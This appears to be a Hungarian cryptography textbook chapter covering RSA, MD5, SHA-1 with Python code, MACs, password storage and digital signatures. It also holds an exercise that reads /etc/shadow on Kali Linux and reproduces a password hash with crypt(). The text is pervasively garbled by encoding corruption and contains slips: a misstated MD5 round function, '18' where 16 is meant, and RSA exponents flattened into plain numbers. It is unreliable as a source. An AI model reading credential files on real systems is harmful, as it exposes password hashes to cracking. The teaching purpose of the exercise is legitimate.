A kulcsgener§l§s az al§bbiak szerint hajthat· v®gre. Legyen k®t v®letlenszerŤ eg®sz pr²msz§munk: X 

és Y. Ezek szorzata N. 

N = X Y 
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Tudjuk, hogy X és Y hány relatív prímszámmal bír: 

f(X) = X-1 

f(Y) = Y-1 

f(N) kiszámítható 

f(N) = (X-1) (Y-1) 

Bontsuk fel K f(N)+1 két egész szám szorzatává 

K f(N)+1 = e d 

A gyakorlatban a kºvetkezŖ egyenletet lehet haszn§lni a felbont§shoz. V§lasszuk meg e értékét úgy, 

hogy  

lko(e, f(N)) = 1 

ahol lko a legnagyobb közös osztót jelenti. és d értékét válasszuk meg úgy, hogy  

1 < d < f(N)  

és 

e d mod f(N) = 1 

Legyen a publikus kulcs (e,N), és a privát kulcs (d,N) 

Példa  

Válasszunk két prímszámot: 67 és 11 

N = 67 11 = 737 

f(n) = 66 10 = 660 

Válasszuk meg e értékét, úgy, hogy lnko(e, 660) = 1, legyen e = 7. Tehát a nyilvános kulcs: 

(N, e) = (737, 7) 

Számítsuk ki d értékét: 

Keressünk egy K értéket, hogy K f(N) + 1 = e d igaz legyen, azaz K f(N) + 1 mod e =0 

K*660 + 1 mod 7 = 0 

K = 3 megfelelŖ, azaz  

d = (3 * 660 +1) / 7 = 283 

Tehát a privát kulcs  

(N, d) = (737. 283) 

 

Kódoljuk a 28 -as számot: 

287 mod 737 = 316 

Dekódoljuk a 316 számot: 

316283 mod 737 = 28 
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HASH FÜGGVÉNYEK 

A hash f¿ggv®ny egy matematikai f¿ggv®ny, amely v§ltoz· hossz¼s§g¼ bemenetekbŖl rºgz²tett 

hosszúságú kimenetet ad vissza. 

Az preferált hash függvények tulajdonságai: 

¶ könnyen kiszámítható bármilyen adatra 

¶ nehéz visszafejteni a lekódolt szöveget 

¶ a k¿lºnbºzŖ szºvegek b§rmilyen hossz¼ak is nem eredm®nyezhetnek azonos hash-t 

¶ a diszperzi·s tulajdons§g elŖnyben r®szes²tett: az k·dolatlan szºveg kis m·dos²t§sa nagy 

változásokat eredményez a hash-ben. 

 

 

121. ábra Hash függvények 

Ćltal§ban egyszerŤ szºveget dolgoznak fel adatblokkokban. Egy blokk kimenete lesz a kºvetkezŖ hash 

számítási lépés bemenete stb. Ezt a hashing lavinahatásának nevezik 

MESSAGE-DIGEST (MD5) 

A Message Digest algoritmus széles körben elterjedt hash funkció, amely 128 bites hash értéket állít 

elŖ. A k·dolatlan szºveges ¿zenet 512 bites blokkokra van felosztva, ®s fel van tºltve ¼gy. hogy 512 

bit többszöröse legyen. 

Az RFC1321 a határozza meg a kitöltési módját: 

Igy az üzenet felosztható 16 32 bites szóra. 

Jelentse M[0 ... N-1] az eredményül kapott szavakat. ahol N 18 többszöröse 

Az MD algoritmus 128 bites szeleteken dolgozik, ezt osszuk 4 db 32 bites szóra: (A, B, C, D). 

Az ¿zenetblokk feldolgoz§sa n®gy kºrbŖl §ll; minden kºr 16 hasonl· mŤveletbŖl §ll, amelyek 

nemlineáris függvényen, moduláris összeadáson és bal forgáson alapulnak. 
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122. ábra MD5 algoritmus 

Négy lehetséges funkció létezik; minden körben mást használnak: 

F(B, C, D) = (B and C) or (not B and D) 

G(B, C, D) = (B and C) or (C and not D) 

H(B, C, D) = B xor C xor D 

I(B, C, D) = C xor (B or not D) 

 

Egy lehetséges implementáció: 

  1. """  
  2. The implementation of the MD5 algorithm is based on the original RFC at  
  3. https://www.ietf.org/rfc/rfc1321.txt and contains optimizations from  
  4. https://en.wikipedia.org/wiki/MD5.  
  5. """  
  6.   
  7. import  struct  
  8. from  enum import  Enum 
  9. from  math import  (  
 10.     floor ,  
 11.     sin ,  
 12. )  
 13.   
 14. from  bitarray import  bitarray  
 15.  class  MD5Buffer ( Enum):  
 16.     A = 0x67452301 
 17.     B = 0xEFCDAB89 
 18.     C = 0x98BADCFE 
 19.     D = 0x10325476 
 20.   
 21.   
 22. class  MD5( object ):  
 23.     _string = None 
 24.     _buffers = {  
 25.         MD5Buffer . A:  None,  
 26.         MD5Buffer . B:  None,  
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 27.         MD5Buffer . C:  None,  
 28.         MD5Buffer . D:  None,  
 29.     }  
 30.   
 31.     @classmethod 
 32.     def  hash( cls ,  string ):  
 33.         cls . _string = string  
 34.   
 35.         preprocessed_bit_array = cls . _step_2 ( cls . _step_1 ())  
 36.         cls . _step_3 ()  
 37.         cls . _step_4 ( preprocessed_bit_array )  
 38.         return  cls . _step_5 ()  
 39.   
 40.     @classmethod 
 41.     def  _step_1 ( cls ):  
 42.         # Convert the string to a bit array.  
 43.         bit_array = bitarray ( endian ="big" )  
 44.         bit_array . frombytes ( cls . _string . encode( "utf - 8" ))  
 45.   
 46.         # Pad the string with a 1 bit and as many 0 bits required such that  
 47.         # the length of the bit array becomes congruent to 448 modulo 512.  
 48.         # Note that padding is always performed, even if the string's bit  
 49.         # length is already conguent to 448 modulo 512, which leads to a  
 50.         # new 512 - bit message block.  
 51.         bit_array . append( 1)  
 52.         while  bit_array . length ()  % 512 !=  448:  
 53.             bit_array . append( 0)  
 54.   
 55.         # For the remainder of the MD5 algorithm, all values are in  
 56.         # little endian, so transform the bit array to little endian.  
 57.         return  bitarray ( bit_array ,  endian ="little" )  
 58.   
 59.     @classmethod 
 60.     def  _step_2 ( cls ,  step_1_result ):  
 61.         # Extend the result from step 1 with a 64 - bit little endian  
 62.         # representation of the original message length (modulo 2^64).  
 63.         length = ( len ( cls . _string )  *  8)  % pow( 2,  64)  
 64.         length_bit_array = bitarray ( endian ="little" )  
 65.         length_bit_array . frombytes ( struct . pack( "<Q" ,  length ))  
 66.   
 67.         result = step_1_result . copy()  
 68.         result . extend ( length_bit_array )  
 69.         return  result  
 70.   
 71.     @classmethod 
 72.     def  _step_3 ( cls ):  
 73.         # Initialize the buffers to their default values.  
 74.         for  buffer_type in  cls . _buffers . keys ():  
 75.             cls . _buffers [ buffer_type ]  = buffer_type . value  
 76.   
 77.     @classmethod 
 78.     def  _step_4 ( cls ,  step_2_result ):  
 79.         # Define the four auxiliary functions that produce one 32 - bit word.  
 80.         F = lambda x,  y,  z:  ( x & y)  |  (~ x & z)  
 81.         G = lambda x,  y,  z:  ( x & z)  |  ( y & ~z)  
 82.         H = lambda x,  y,  z:  x ^ y ^ z 
 83.         I = lambda x,  y,  z:  y ^ ( x |  ~z)  
 84.   
 85.         # Define the left rotation function, which rotates `x` left `n` bits.  
 86.         rotate_left = lambda x,  n:  ( x << n)  |  ( x >> ( 32 -  n))  
 87.   
 88.         # Define a function for modular addition.  
 89.         modular_add = lambda a,  b:  ( a + b)  % pow( 2,  32)  
 90.   
 91.         # Compute the T table from the sine function. Note that the  
 92.         # RFC starts at index 1, but we start at index 0.  
 93.         T = [ floor ( pow( 2,  32)  *  abs( sin ( i + 1)))  for  i in  range ( 64)]  
 94.   
 95.         # The total number of 32- bit words to process, N, is always a  
 96.         # multiple of 16.  
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 97.         N = len ( step_2_result )  // 32  
 98.   
 99.         # Process chunks of 512 bits.  
100.         for  chunk_index in  range ( N // 16):  
101.             # Break the chunk into 16 words of 32 bits in list X.  
102.             start = chunk_index *  512 
103.             X = [ step_2_result [ start + ( x *  32)  :  start + ( x *  32)  + 32]  for  x in  
range ( 16)]  
104.   
105.             # Convert the `bitarray` objects to integers.  
106.             X = [ int . from_bytes ( word. tobytes (),  byteorder ="little" )  for  word in  X]  
107.   
108.             # Make shorthands for the buffers A, B, C and D.  
109.             A = cls . _buffers [ MD5Buffer . A]  
110.             B = cls . _buffers [ MD5Buffer . B]  
111.             C = cls . _buffers [ MD5Buffer . C]  
112.             D = cls . _buffers [ MD5Buffer . D]  
113.   
114.             # Execute the four rounds with 16 operations each.  
115.             for  i in  range ( 4 *  16):  
116.                 if  0 <= i <= 15:  
117.                     k = i  
118.                     s = [ 7,  12,  17,  22]  
119.                     temp = F( B,  C,  D)  
120.                 elif  16 <= i <= 31:  
121.                     k = (( 5 *  i )  + 1)  % 16 
122.                     s = [ 5,  9,  14,  20]  
123.                     temp = G( B,  C,  D)  
124.                 elif  32 <= i <= 47:  
125.                     k = (( 3 *  i )  + 5)  % 16 
126.                     s = [ 4,  11,  16,  23]  
127.                     temp = H( B,  C,  D)  
128.                 elif  48 <= i <= 63:  
129.                     k = ( 7 *  i )  % 16 
130.                     s = [ 6,  10,  15,  21]  
131.                     temp = I ( B,  C,  D)  
132.   
133.                 # The MD5 algorithm uses modular addition. Note that we need a  
134.                 # temporary variable here. If we would put the result in `A`, then  
135.                 # the expression `A = D` below would overwrite it. We also cannot  
136.                 # move `A = D` lower because the original `D` would already have  
137.                 # been overwritten by the `D = C` expression.  
138.                 temp = modular_add ( temp,  X[ k])  
139.                 temp = modular_add ( temp,  T[ i ])  
140.                 temp = modular_add ( temp,  A)  
141.                 temp = rotate_left ( temp,  s[ i % 4])  
142.                 temp = modular_add ( temp,  B)  
143.   
144.                 # Swap the registers for the next operation.  
145.                 A = D 
146.                 D = C 
147.                 C = B 
148.                 B = temp 
149.   
150.             # Update the buffers with the results from this chunk.  
151.             cls . _buffers [ MD5Buffer . A]  = modular_add ( cls . _buffers [ MD5Buffer . A],  A)  
152.             cls . _buffers [ MD5Buffer . B]  = modular_add ( cls . _buffers [ MD5Buffer . B],  B)  
153.             cls . _buffers [ MD5Buffer . C]  = modular_add ( cls . _buffers [ MD5Buffer . C],  C)  
154.             cls . _buffers [ MD5Buffer . D]  = modular_add ( cls . _buffers [ MD5Buffer . D],  D)  
155.   
156.     @classmethod 
157.     def  _step_5 ( cls ):  
158.         # Convert the buffers to little - endian.  
159.         A = struct . unpack( "<I" ,  struct . pack( ">I" ,  cls . _buffers [ MD5Buffer . A]))[ 0]  
160.         B = struct . unpack( "<I" ,  struct . pack( ">I" ,  cls . _buffers [ MD5Buffer . B]))[ 0]  
161.         C = struct . unpack( "<I" ,  struct . pack( ">I" ,  cls . _buffers [ MD5Buffer . C]))[ 0]  
162.         D = struct . unpack( "<I" ,  struct . pack( ">I" ,  cls . _buffers [ MD5Buffer . D]))[ 0]  
163.   
164.         # Output the buffers in lower - case hexadecimal format.  
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165.         return  f "{format(A, '08x')}{format(B, '08x')}{format(C, '08x')}{format(D, '08x')}"   

SHA 

A Secure Hash Algoritmus (SHA-1) egy olyan kriptográfiai hash függvény, amely 160 bites hash -t 

§ll²t elŖ az adatokb·l. Ez az ¿zenetkivonat §ltal§ban hexadecim§lis sz§mk®nt jelenik meg. 

Kezdetben 160 bites bemenetünk van, ezt 5 részre bontjuk, amelyeket A, B, C, D és E-nek nevezünk. 

 

123. ábra SHA algoritmus menete 

Az SHA algoritmus egy iter§ci·ja a kºvetkezŖ: 

¶ A, B, C, D és E 32 bites szavak 

¶ F egy nemlien§ris f¿ggv®ny, amely a k®sŖbb ismertetett m·don v§ltozik 

¶ <<<x jelºlje a balra tºrt®nŖ krkºrºs eltol§st x hellyel 

¶ Wt az üznenet kiterjesztett szava (l§sd k®sŖbb) a t.körben 

¶ Kt a t. körhöz tartozó állandó 

¶  egy modulo 232 összegzést jelöl 

 

20 körönként, Fi és K i konstans, és az alább definiált értékeket veszik fel: 

1-20 kör 

Fi = (B and C) or ((not B) and D) 

K i = 0x5A827999 

21-40 kör 

Fi = B xor C xor D 

K i = 0x6ED9EBA1 
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41-60 kör 

Fi = (B and C) or (B and D) or (C and D)  

K i = 0x8F1BBCDC 

61-80 kör 

Fi = B xor C xor D 

K i = 0xCA62C1D6 

A kºrkºrºs shift mŤvelet tetszŖleges bit hossz¼s§g¼ szavakon ®rtelmezhetŖ. A kºvetkezŖ §bra egy 

egybites balra és egy egybites jobbra biteltolást mutat be. 

 

124. ábra A kºrkºrºs shift mŤvelet 

 

Üzenet kiterjesztése 

1. Az üzenetet kiterjesztjük úgy, hogy hozzáadunk egy 1-est majd annyi 0-t, hogy 448 bites 

legyen. Az ¿zenet hossz§t 64 bites sz§mmal reprezent§lva hozz§fŤzz¿k a v®g®hez, ²gy az ¿zenet 

512 bit hosszú lesz.  

2. Az 512 bites üzenetet 16 db 32-bites szóra osztjuk, W0éW15 

3. Minden szºvegdarabra elkezdj¿k a 80 iter§ci·b·l §ll· hash mŤveletet. 

4. Végrehajtjuk a kºvetkezŖt: 

Wi=S1 (Wi-3 XOR Wi-8 XOR Wi-14 XOR Wi-16) 

S a shift operátor 

5. A hash értékekkel kºvetkezŖ érékadást végezzük el:: 

A = H0 

B = H1 

C = H2 

D = H3 

E = H4 

6. A 80- iterációnál 

TEMP = S5 (A) + F(B;C;D)+E+Wi+Ki 

E=D 

D=C 

C=S30(B) 

B=A 

A=TEMP 

7. Tároljuk el a hash érékét az alábbiak szerint  

H0= H0+A 

H1= H1+B 

H2= H2+C 
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H3= H3+D 

H4= H4+E 

8. Kiszámítjuk a 160 bites message digest értékét. 

9. H = S128(H0) OR S96(H1) OR S64(H2) OR S32(H3) OR H4 

MESSAGE AUTHENTICATION CODE 

Az ¿zenet hiteles²t®si k·dot (MAC) kriptogr§fiai ellenŖrzŖ ºsszegeknek is nevezik. A MAC algoritmus 

egy szimmetrikus kulcs¼ algoritmus, amely az ¿zenetek hiteles²t®s®t biztos²tja. A k¿ldŖ ®s a fogad· 

ugyanazt a kulcsot használja. 

AlapvetŖen a MAC a sima szºveges ¿zenet titkos²tott ellenŖrzŖ ºsszege, amit az ¿zenethez csatoltak 

annak hiteles²t®se ®rdek®ben. A vevŖ kisz§m²tja a fogadott ¿zenet MAC -ját. Ha a számított MAC 

megegyezik, akkor az üzenet elfogadható. Ha a kiszámított MAC nem egyezik, akkor nem lehet 

megállapítani, hogy az üzenet vagy a forrás valódi -e. 

A MAC, ugyan¼gy, mint a hash f¿ggv®nyek, rºgz²tett hossz¼s§g¼ kimenetet gener§l az ¿zenetbŖl-. A 

k¿lºnbs®g az, hogy a MAC titkos kulcsot haszn§l a kimenet gener§l§shoz. A folyamat fŖ jellemzŖje, 

hogy a MAC algoritmus nyilvános, a MAC értéket a titkos kulcs hozza létre. 

Hátránya: 

¶ a r®sztvevŖt elŖre ismerni kell, 

¶ a titkos kulcsot elŖre meg kell §llap²tani ®s meg kell osztani, 

¶ a MAC nem tudja bizonyítani, hogy a feladó küldte az üzenetet, 

¶ nem lehet megállapítani, hogy melyik fél generálta a MAC -t. 

 

 

125. ábra MESSAGE AUTHENTICATION CODE 

MAC kiterjesztés 

 

A feladó titkosíthatja is  a tartalmat, mielŖtt elk¿ldi a h§l·zaton. A titkosítás egy további lépés lehet a 

bizalmasság védelmére, hogy a küldött üzenetet csak a címzett olvashassa.  

A felad· az ¿zenetet egy titkos²t§si algoritmussal (pl. AES) titkos²tja, mielŖtt azt elk¿lden® a h§l·zaton. 

A titkosítás során egy titkos kulcsot használnak, amely csak a feladó és a címzett számára ismert. Így 

ha valaki elfogja az üzenetet, csak kódolt formában látja azt, és nem tudja közvetlenül elolvasni a 

tartalmát. Ez biztosítja az üzenet bizalmasságát. Ily módon az üzenet bizalmas lesz. 
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126. ábra MAC kiterjesztés 

JELSZÓ TÁROLÁS  

A hash funkci·k v®dik a jelsz·t§rol§st. Ahelyett, hogy a jelsz·t egyszerŤ szºvegk®nt t§roln§nk., a 

jelszavak hash értékeit tároljuk az adatbázisban. 

A jelszófájl egy olyan táblázatból áll, amely a  

 

{ user_identifier, hash(PASSWORD)n párokat tárolja. 

 

127. ábra A jelszó tárolás mechanizmusa 
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ADATINTEGRITĆS ELLENŕRZ£SE 

A hash funkci·kat sz®les kºrben haszn§lj§k az adatok integrit§s§nak ellenŖrz®s®re. A hash f¿ggv®ny az 

adatok ellenŖrzŖ ºsszegeinek elŖ§ll²t§s§ra szolg§l. 

 

 

128. ábra Az adatintegrit§s ellenŖrz®s®nek menete 

 

Ha az eredeti adatokat m·dos²tj§k, akkor az ellenŖrzŖ ºsszeg nem egyezik. Ha azonban a t§mad· 

m·dos²thatja mind az adatokat, mind az ellenŖrzŖ ºsszeget, akkor az eredetis®g nem ellenŖrizhetŖ 

PÉLDAFELADAT  

Jelszófájl helye és tartalma Kali Linuxban 

A Kali a jelszó adatokat az /etc /shadow fájlban tárolja. Csak root felhasználók írhatják a fájlt. A fájl a 

felhasználónevet, a jelszó hashét, a jelszó megváltoztatásának dátumát, a lejárati dátumot stb. 

KettŖsponttal (:) elv§lasztva t§rolja. 

A lekérdezéséhez gépeljük be: 

sudo cat /etc/shadow 

kali:$6$GHNiMeXhVU70giNl$vpm87wq/tB5X5rA8MYnsw8ssB7iyW.9gh5m/drfTmMJdvRtArB/3

Xtyan1/DmOeBdpxs9cfKaDt0n15nqupvn/:18583:0:99999:7::: 

Value Meaning 

$6$ A két $ jel kezdete közötti érték a használt hash 

algoritmust jelenti. Itt a 6. szám a sha-512 

használatát jelenti. 

$GHNiMeXhVU70giNl$ a második és harmadik $ közti szöveg a só 

vpm87wq/tB5X5rA8MYnsw8ssB7iyW.9gh5m/ 

drfTmMJdvRtArB/3Xtyan1/ 

DmOeBdpxs9cfKaDt0n15nqupvn/: 

Hash-elt jelszó 

 

Gener§ljuk le a Ăkaliò felhaszn§l· jelszav§t 



KRIPTOGRAFIKUS ALGORITMUSOK  

 

 137 

 

Python 2.7.18 ( default, Apr 20 2020, 20:30:41)  

[GCC 9.3.0] on linux2  

Type "help", "copyright", "credits" or "license" for more information.  

>>> import crypt  

>>> password="kali"  

>>> hashing_scheme_with_salt="$6$GHNiMeXhVU70giNl$"  

>>> crypt.crypt(password, hashing_scheme_with_salt)  

'$6$GHNiMeXhVU70giNl$vpm87wq/tB5X5rA8MYnsw8ssB7iyW.9gh5m/drfTmMJdvRtArB/3Xt

yan1/DmOeBdpxs9cfKaDt0n15nqupvn/'  

>>> 

Egy lehetséges Python implementáció: 

  1. #!/usr/bin/env python  
  2.   
  3. from  __future__ import  print_function  
  4. import  struct  
  5. import  io  
  6.   
  7. try :  
  8.     range = xrange  
  9. except  NameError:  
 10.     pass 
 11.   
 12.   
 13. def  _left_rotate ( n,  b):  
 14.     """Left rotate a 32 - bit integer n by b bits."""  
 15.     return  (( n << b)  |  ( n >> ( 32 -  b)))  & 0xffffffff  
 16.   
 17.   
 18. def  _process_chunk ( chunk,  h0,  h1,  h2,  h3,  h4):  
 19.     """Process a chunk of data and return the new digest variables."""  
 20.     assert  len ( chunk)  == 64 
 21.   
 22.     w = [ 0]  *  80 
 23.   
 24.     # Break chunk into sixteen 4 - byte big - endian words w[i]  
 25.     for  i in  range ( 16):  
 26.         w[ i ]  = struct . unpack( b'>I' ,  chunk[ i *  4: i *  4 + 4])[ 0]  
 27.   
 28.     # Extend the sixteen 4 - byte words into eighty 4 - byte words  
 29.     for  i in  range ( 16,  80):  
 30.         w[ i ]  = _left_rotate ( w[ i -  3]  ^ w[ i -  8]  ^ w[ i -  14]  ^ w[ i -  16],  1)  
 31.   
 32.     # Initialize hash value for this chunk  
 33.     a = h0 
 34.     b = h1 
 35.     c = h2 
 36.     d = h3 
 37.     e = h4 
 38.   
 39.     for  i in  range ( 80):  
 40.         if  0 <= i <= 19:  
 41.             # Use alternative 1 for f from FIPS PB 180 - 1 to avoid bitwise not  
 42.             f = d ^ ( b & ( c ^ d))  
 43.             k = 0x5A827999 
 44.         elif  20 <= i <= 39:  
 45.             f = b ^ c ^ d 
 46.             k = 0x6ED9EBA1 
 47.         elif  40 <= i <= 59:  
 48.             f = ( b & c)  |  ( b & d)  |  ( c & d)  
 49.             k = 0x8F1BBCDC 
 50.         elif  60 <= i <= 79:  
 51.             f = b ^ c ^ d 
 52.             k = 0xCA62C1D6 
 53.   
 54.         a,  b,  c,  d,  e = (( _left_rotate ( a,  5)  + f + e + k + w[ i ])  & 0xffffffff ,  
 55.                          a,  _left_rotate ( b,  30),  c,  d)  
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 56.   
 57.     # Add this chunk's hash to result so far  
 58.     h0 = ( h0 + a)  & 0xffffffff  
 59.     h1 = ( h1 + b)  & 0xffffffff  
 60.     h2 = ( h2 + c)  & 0xffffffff  
 61.     h3 = ( h3 + d)  & 0xffffffff  
 62.     h4 = ( h4 + e)  & 0xffffffff  
 63.   
 64.     return  h0,  h1,  h2,  h3,  h4 
 65.   
 66.   
 67. class  Sha1Hash( object ):  
 68.     """A class that mimics that hashlib api and implements the SHA - 1 algorithm."""  
 69.   
 70.     name = 'python - sha1'  
 71.     digest_size = 20 
 72.     block_size = 64 
 73.   
 74.     def  __init__ ( self ):  
 75.         # Initial digest variables  
 76.         self . _h = (  
 77.             0x67452301,  
 78.             0xEFCDAB89,  
 79.             0x98BADCFE,  
 80.             0x10325476,  
 81.             0xC3D2E1F0,  
 82.         )  
 83.   
 84.         # bytes object with 0 <= len < 64 used to store the end of the message  
 85.         # if the message length is not congruent to 64  
 86.         self . _unprocessed = b''  
 87.         # Length in bytes of all data that has been processed so far  
 88.         self . _message_byte_length = 0 
 89.   
 90.     def  update ( self ,  arg ):  
 91.         """Update the current digest.  
 92.         This may be called repeatedly, even after calling digest or hexdigest.  
 93.         Arguments:  
 94.             arg: bytes, bytearray, or BytesIO object to read from.  
 95.         """  
 96.         if  isinstance ( arg ,  ( bytes ,  bytearray )):  
 97.             arg = io . BytesIO ( arg )  
 98.   
 99.         # Try to build a chunk out of the unprocessed data, if any  
100.         chunk = self . _unprocessed + arg . read ( 64 -  len ( self . _unprocessed ))  
101.   
102.         # Read the rest of the data, 64 bytes at a time  
103.         while  len ( chunk)  == 64:  
104.             self . _h = _process_chunk ( chunk,  * self . _h)  
105.             self . _message_byte_length += 64 
106.             chunk = arg . read ( 64)  
107.   
108.         self . _unprocessed = chunk 
109.         return  self  
110.   
111.     def  digest ( self ):  
112.         """Produce the final hash value (big - endian) as a bytes object"""  
113.         return  b'' . join ( struct . pack( b'>I' ,  h)  for  h in  self . _produce_digest ())  
114.   
115.     def  hexdigest ( self ):  
116.         """Produce the final hash value (big - endian) as a hex string"""  
117.         return  '%08x%08x%08x%08x%08x' % self . _produce_digest ()  
118.   
119.     def  _produce_digest ( self ):  
120.         """Return finalized digest variables for the data processed so far."""  
121.         # Pre - processing:  
122.         message = self . _unprocessed  
123.         message_byte_length = self . _message_byte_length + len ( message)  
124.   
125.         # append the bit '1' to the message  
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126.         message += b' \ x80'  
127.   
128.         # append 0 <= k < 512 bits '0', so that the resulting message length (in bytes)  
129.         # is congruent to 56 (mod 64)  
130.         message += b' \ x00'  *  (( 56 -  ( message_byte_length + 1)  % 64)  % 64)  
131.   
132.         # append length of message (before pre - processing), in bits, as 64 - bit big - endian 
integer  
133.         message_bit_length = message_byte_length *  8 
134.          message += struct . pack( b'>Q' ,  message_bit_length )  
135.   
136.         # Process the final chunk  
137.         # At this point, the length of the message is either 64 or 128 bytes.  
138.         h = _process_chunk ( message[: 64],  * self . _h)  
139.         if  len ( message)  == 64:  
140.             return  h 
141.         return  _process_chunk ( message[ 64:],  * h)  
142.   
143.   
144. def  sha1( data ):  
145.     """SHA - 1 Hashing Function  
146.     A custom SHA- 1 hashing function implemented entirely in Python.  
147.     Arguments:  
148.         data: A bytes or BytesIO object containing the input message to hash.  
149.     Returns:  
150.         A hex SHA- 1 digest of the input message.  
151.     """  
152.     return  Sha1Hash(). update ( data ). hexdigest ()  
153.   
154.   
155. if  __name__ == '__main__' :  
156.     # Imports required for command line parsing. No need for these elsewhere  
157.     import  argparse  
158.     import  sys  
159.     import  os 
160.   
161.     # Parse the incoming arguments  
162.     parser = argparse . ArgumentParser ()  
163.     parser . add_argument ( 'input' ,  nargs ='*' ,  
164.                         help ='input file or message to hash' )  
165.     args = parser . parse_args ()  
166.   
167.     data = None 
168.     if  len ( args . input )  == 0:  
169.         # No argument given, assume message comes from standard input  
170.         try :  
171.             # sys.stdin is opened in text mode, which can change line endings,  
172.             # leading to incorrect results. Detach fixes this issue, but it's  
173.             # new in Python 3.1  
174.             data = sys . stdin . detach ()  
175.   
176.         except  AttributeError :  
177.             # Linux ans OSX both use \ n line endings, so only windows is a  
178.             # problem.  
179.             if  sys . platform == "win32" :  
180.                 import  msvcrt  
181.   
182.                 msvcrt . setmode( sys . stdin . fileno (),  os. O_BINARY)  
183.             data = sys . stdin  
184.   
185.         # Output to console  
186.         print ( 'sha1 - digest:' ,  sha1( data ))  
187.   
188.     else :  
189.         # Loop through arguments list  
190.         for  argument in  args . input :  
191.             if  ( os. path . isfile ( argument )):  
192.                 # An argument is given and it's a valid file. Read it  
193.                 data = open( argument ,  'rb' )  
194.                  
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195.                 # Show the final digest  
196.                 print ( 'sha1 - digest:' ,  sha1( data ))  
197.             else :  
198.                 print ( "Error, could not find "  + argument + " file."  )  
199.   

 

DIGITÁLIS ALÁÍRÁS  

Az emberek kézzel írott aláírásokat használnak, hogy hitelesítsék: 

¶ szerzŖd®seket (értékesítés, biztosítás, foglalkoztatás stb.) 

¶ adminisztratív dokumentumokat (adóbevallások, nyilatkozatok stb.) 

¶ tranzakciók (bankolás) 

A digitális világban is hasonló technikára van szükség egy személy vagy bármely digitális entitás 

azonosítására. 

Elektronikus aláírás: elektronikus dokumentumhoz azonosítás céljából logikailag hozzárendelt és azzal 

elv§laszthatatlanul ºsszekapcsolt elektronikus adat, illetŖleg dokumentum (2001. ®vi XXXV. tºrv®ny 

az elektronikus aláírásról) 

A nyilvános kulcsú titkosítás szilárd alapja lehet a digitális aláírási sémának: 

 

129. ábra Digitális aláírás séma 

A munkafolyamat a kºvetkezŖ: 

¶ minden entitásnak van nyilvános + privát kulcspárja 

¶ §ltal§ban ezek a kulcsok elt®rŖek. 

¶ priv§t kulcsokat haszn§lnak az al§²r§shoz, nyilv§nos kulcsokat az ellenŖrz®shez 

¶ a feladó generálja az adatok hash-ét 

¶ az aláírási algoritmus a hash értékre és a privát kulcsra vonatkozik 

¶ az adatokhoz aláírás tartozik 

¶ a k¿ldendŖ csomag tartalmazza mind az adatokat, mind az al§²r§st 

¶ a vevŖ az adatokat ®s az al§²r§st az ellenŖrzŖ algoritmusba helyezi, amely kivonatot gener§l 

¶ ha a feladók és a fogadók hash -je azonos, akkor az aláírás érvényes 

A digit§lis al§²r§st a titkos priv§t kulccsal k®sz²tj¿k. Az eredeti szerzŖ beazonos²that·. 
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130. ábra  A Hash függvényt írjuk alá, nem az adatot 

 

Az RSA -t §ltal§ban al§²r§si algoritmusk®nt haszn§lj§k. A nagym®retŤ dokumentum al§²r§sa idŖig®nyes 

lenne. A dokumentum kivonata sokkal kisebb, így a kivonat aláírása hatékonyabb, mint a teljes 

dokumentum aláírása. 

A digit§lis al§²r§sok fŖ felhaszn§l§si ter¿letei: 

¶ Üzenetek hitelesítése ï a privát kulcsot a tulajdonosa ismeri, így egy érvényes a digitális aláírást 

csak a kulcs tulajdonosa készíthet.  

¶ Adatintegrit§s ellenŖrz®se ï ha valaki módosítja a dokumentumot, akkor a hash kivonata 

megv§ltozik, ²gy az ellenŖrz®s eredm®nye az less, hogy a k®t dokumentum elt®r. Ezzel a c²mzett 

ellenŖrizheti, hogy a dokumentum megv§ltozott -e az aláírás óta.  
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